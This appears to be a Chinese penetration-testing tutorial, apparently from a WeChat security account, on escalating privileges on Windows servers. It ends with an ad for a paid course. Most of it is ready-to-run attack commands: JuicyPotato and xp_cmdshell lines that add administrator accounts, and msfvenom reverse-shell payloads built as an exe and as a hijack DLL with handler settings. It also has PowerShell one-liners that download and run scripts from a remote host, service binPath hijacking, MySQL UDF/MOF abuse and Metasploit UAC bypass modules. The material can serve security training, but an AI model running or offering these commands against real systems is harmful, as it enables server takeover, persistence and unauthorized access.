点击上方蓝字关注我们
在Windows中,不同用户有着不同的权限。主要权限包括有:
net user
net user darkid
net localgroup
whoami /all
提权是指把普通用户的权限进行提升,也叫特权提升,在渗透测试中,通过是各种漏洞提升webshell权限以夺得服务器权限。
Windows提权的方法:
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser/query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限
systeminfo > sys.txt
https://github.com/bitsadmin/wesng
python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁
https://github.com/chroblert/WindowsVulnScan
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。
【注】:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户
执行命令
/c c:\windows\debug\WIA\JuicyPotato_x64.exe -a "net user moon 123456 /add && net localgroup administrators moon /add"
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
同样
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.221.128 lport=4444 -f exe >s.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.221.128
set lport 4444
exploit
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051) ms16_032
MS16-032 Secondary Logon Handle 本地提权漏漏洞
ms16_075
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
run post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester
set session 1
exploit
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持。
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
方法一:powershell扫描
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.221.128/PrivescCheck.ps1'); Invoke
- PrivescCheck
找到可以利用的服务(使用SC命令)
sc query UsoSvc
sc stop UsoSvc
sc config usosvc binPath= "C:\s.exe"
sc start UsoSvc
方法二:MSF模块扫描利用
exploit/windows/local/service_permissions
但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke AllChecks"
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
set AutoRunScript migrate -f
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
dir /b /s c:\Unattend.xml
post/windows/gather/enum_unattend
对这个配置文件扫描Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
收集进程加载的dll—制作dll木马—替换dll—启动应用
收集进程加载的dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.1 lport=8888 -f dll > libcurl_x86.dll
替换dll
服务器管理员开启应用,收到administrator权限的反弹shell
安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令
web.config
config.asp
conn.aspx
database.aspx
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为dll,c语言编写
show variables like "%plugin%"
SELECT @@global.secure_file_priv
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译。
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
use exploit/windows/local/bypassuac
set session 1
run
或者使用bypassuac_injection模块进行bypass
use exploit/windows/local/bypassuac_injection
set session 1
run
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
活动优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看